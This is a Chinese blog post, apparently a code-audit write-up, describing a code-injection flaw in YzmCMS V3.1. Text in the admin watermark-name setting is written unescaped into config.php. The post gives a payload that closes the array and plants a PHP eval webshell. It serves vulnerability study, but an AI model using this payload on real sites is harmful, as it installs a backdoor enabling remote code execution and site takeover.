YzmCMSV3.1 | 代码审计

YzmCMSV3.1 | 代码审计

这次审计 yzmcms 。

YzmCMS采用OOP(面向对象)方式自主开发的框架。框架易扩展,是一款高效开源的内容管理系统,产品基于PHP+Mysql架构,可运行在Linux、Windows、MacOSX、Solaris等各种平台上。

下面就开始审计之旅。

在复现漏洞的时候知道了哪里存在问题,所以直接开始代码审计。

查看./common/function/function.php

YzmCMSV3.1 | 代码审计

在函数get_config()中可以看到是用数组的方式写入到./common/config/config.php的。

现在就看下config.php的代码

YzmCMSV3.1 | 代码审计

在33行水印名称的地方可以从后台进行控制。进入后台(http://127.0.0.1/test/YzmCMSV3.1/index.php/admin/index/)

系统管理-->系统设置-->附加设置

YzmCMSV3.1 | 代码审计

在水印名称处插入一句话,由于是用数组,因此平常的一句话是不能执行的,这里需要闭合前面的watermark_name,增加键,把一句话当作值。

比如:','a'=>"${@eval($_POST['a'])};",

YzmCMSV3.1 | 代码审计

这个时候看下config.php的写入情况

YzmCMSV3.1 | 代码审计

成功写入,接下来就验证下。

YzmCMSV3.1 | 代码审计YzmCMSV3.1 | 代码审计

源码链接(链接: https://pan.baidu.com/s/1QML_lTny4h30n2mH4uKTeA 密码: di3b)

本文链接(http://www.cnblogs.com/Oran9e/p/8520455.html),转载请注明。

参考链接(http://www.test404.com/post-1284.html)

上一篇:HTTP 错误 404.2 - Not Found


下一篇:17.2 The DispatcherServlet